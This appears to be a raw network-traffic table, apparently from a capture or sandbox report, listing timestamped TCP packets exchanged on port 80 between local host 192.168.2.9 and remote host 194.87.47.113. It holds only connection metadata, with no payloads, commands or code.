Dec 19, 2024 08:00:59.640856028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.641448975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.641735077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.641772032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.641983032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.641994953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.642103910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.642107964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.642163992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.642199039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.643151999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.643340111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.643377066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.644067049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.644146919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.644222975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.644785881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.644846916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.644881010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.645710945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.645836115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.645925045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.646563053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.646652937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.646691084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.647270918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.647408009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.647440910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.648133039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.648231983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.648277044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.649132013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.649276972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.649307966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.649971008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.650139093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.650171995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.650701046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.650809050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.650844097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.651552916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.651683092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.651716948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.652410984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.652534008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.652570009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.653687954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.653781891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.653820038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.654097080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.654372931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.654519081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.654989004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.655078888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.655116081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.655805111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.655925989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.655966043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.656686068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.656779051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.656825066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.657552004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.657685041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.657723904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.658771992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.658991098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.659027100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.659588099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.659715891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.659745932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.660408020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.660491943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.660533905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.660969973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.661078930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.661109924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.661861897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.661967993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.662003040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.662688971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.662797928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.662831068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.663533926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.663693905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.663726091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.664378881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.664509058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.664547920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.665240049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.665347099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.665383101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.666142941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.666234970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.666274071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.666941881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.667067051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.667102098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.667854071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.667931080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.667967081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.668677092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.668775082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.668812990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.669538021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.669708967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.669754982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.670370102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.670509100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.670547009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.671298027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.671428919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.671461105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.672085047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.672200918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.672235966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.672943115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.673067093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.673110962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.673804045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.673918962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.673957109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.674654007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.674767017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.674799919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.675563097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.675625086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.675661087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.767652035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.887298107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.887465000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.887509108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.887912989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.888051987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.888097048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.888477087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.888614893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.888657093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.888953924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.889096022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.889139891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.889641047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.889775038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.889822960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.890302896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.890429974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.890489101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.891160965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.891196966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.891236067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.891706944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.891834021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.891880035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.892436981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.892561913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.892606020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.893141031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.893259048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.893302917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.893779993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.893902063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.893950939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.894484043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.894575119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.894618988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.895205021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.895256042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.895299911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.895862103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.895972967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.896028996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.896553040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.896652937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.896697998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.897285938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.897430897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.897521973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.897907972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.898092985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.898129940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.898610115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.898747921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.898793936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.899300098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.899409056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.899470091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.899990082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.900098085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.900142908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.900724888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.900799990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.900839090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.901386023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.901484013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.901524067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.902108908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.902143955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.902188063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.902779102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.902929068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.902971983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.903450966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.903558969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.903611898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.904134035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.904264927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.904306889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.904855967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.904947042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.904984951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.905489922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.905602932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.905644894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.906196117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.906284094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.906486988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.906860113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.906977892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.907012939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.907556057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.907681942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.907717943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.908272028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.908392906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.908431053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.908936977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.909051895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.909152031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.909637928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.909748077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.909782887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.910396099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.910470963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.910501003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.911041975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.911144018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.911180019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.911715984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.911828995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.911864996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.912451982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.912549019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.912590027 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.913091898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.913184881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.913220882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.913786888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.913979053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.914019108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.914823055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.914969921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.915010929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.915280104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.915359974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.915396929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.915903091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.916006088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.916043997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.916543961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.916635036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.916671991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.917218924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.917334080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.917371988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.917972088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.918148994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.918225050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.918611050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.918713093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.918751955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.919327974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.919521093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.919554949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.919986010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.920095921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.920141935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.920684099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.920769930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.920811892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.921452045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.921525955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.921565056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.922085047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.922188997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.922224998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.922759056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.922852993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.922888994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.923440933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.923546076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.923619032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.924166918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.924237967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.924269915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.924815893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.924938917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.924971104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.925571918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.925668001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.925699949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.926194906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.926307917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.926341057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.926913977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.926955938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.926990032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.927603006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.927700996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.927737951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.928302050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.928447008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.928478956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.928978920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.929090023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.929141045 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.929665089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.929775000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.929907084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.930372953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.930505991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.930548906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.931372881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.931557894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.931615114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.932363987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.932488918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.932526112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.933099985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.933187008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.933227062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.933614969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.933696985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.933728933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.934132099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.934212923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.934261084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.934578896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.934638977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.934669018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:00:59.935184956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:00:59.935350895 CET	80	49739	194.87.47.113	192.168.2.9
